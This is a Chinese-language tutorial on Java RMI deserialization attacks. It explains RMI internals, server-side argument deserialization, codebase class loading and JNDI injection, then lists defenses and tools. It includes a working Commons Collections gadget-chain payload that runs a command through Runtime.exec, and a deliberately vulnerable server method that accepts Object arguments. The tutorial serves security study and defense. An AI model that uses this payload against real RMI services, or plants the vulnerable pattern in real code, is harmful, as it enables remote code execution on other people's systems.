RMI-反序列化
字数 1347 2025-08-25 22:58:35
RMI反序列化漏洞深入分析与利用
前言
RMI(Remote Method Invocation)是Java实现的远程方法调用机制,基于JRMP协议(Java Remote Message Protocol)。在安全研究中,RMI的反序列化漏洞是一个重要的攻击面,常被用于实现远程代码执行。
RMI基础
RMI架构组成
- Client-客户端:调用服务端方法的程序
- Server-服务端:实际执行远程方法的程序
- Registry-注册中心:维护服务名称与远程对象引用的映射表(类似字典)
RMI通信特点
- 所有数据传输都通过Java序列化机制
- 默认使用1099端口
- 通信协议为JRMP(Java定制协议)
RMI调用流程
-
服务端部署:
- 向Registry注册远程对象
- 绑定到
//host:port/objectname形式的地址
-
客户端调用:
- 向Registry查询远程引用(Stub)
- 根据返回的主机名和端口连接服务端
- 传输序列化的参数并接收结果
RMI漏洞利用点
1. RMI服务端反序列化漏洞
原理:
- RMI服务端会自动反序列化客户端传入的参数
- 如果服务端使用了存在漏洞的库(如Commons Collections),可导致RCE
利用条件:
- 服务端使用了存在漏洞的库版本
- 服务端提供了接收Object类型参数的方法
攻击步骤:
- 构造恶意序列化payload
- 通过RMI调用将payload发送到服务端
- 服务端反序列化时触发漏洞
示例代码(服务端):
public interface User extends Remote {
public void dowork(Object work) throws RemoteException;
}
public static class UserImpl extends UnicastRemoteObject implements User {
public void dowork(Object work) throws RemoteException {
System.out.println("your work is " + work); // 反序列化触发点
}
}
攻击代码:
public static Object getpayload() throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[0]}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value", "lala");
Map transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
return ctor.newInstance(Target.class, transformedMap);
}
2. RMI动态类加载漏洞
原理:
- RMI支持从远程加载类
- 当反序列化发现未知类时,会根据codebase指定的URL下载类文件
利用条件:
- 配置了SecurityManager
- Java版本低于7u21/6u45,或设置了
java.rmi.server.useCodebaseOnly=false
攻击步骤:
- 设置恶意codebase指向攻击者控制的服务器
- 当客户端/服务端需要加载类时,从攻击者服务器下载恶意类
- 恶意类的静态代码块或构造函数中的代码会被执行
3. JNDI注入攻击
原理:
- RMI服务可以绑定Reference对象
- 客户端处理Reference时会从指定URL加载类
与RMI反序列化的区别:
- 这是JNDI注入而非纯粹的RMI漏洞
- 常用于Fastjson等反序列化漏洞的利用
利用条件:
- 客户端可控RMI地址
- 无Java版本限制(与动态类加载不同)
防御措施
- 升级JDK到最新版本
- 更新存在漏洞的第三方库(如Commons Collections)
- 设置
java.rmi.server.useCodebaseOnly=true - 使用安全管理器限制代码加载来源
- 对RMI服务进行网络隔离,限制访问来源
工具推荐
- BaRMIe:RMI服务探测工具
- ysoserial:生成各种反序列化payload
- marshalsec:启动恶意RMI/LDAP服务
参考资源
- Oracle RMI官方文档
- Java安全漫谈系列文章
- 先知社区技术文章
通过深入理解RMI机制及其反序列化漏洞,安全研究人员可以更好地发现和防御此类安全问题,而开发人员则可以编写更安全的RMI应用。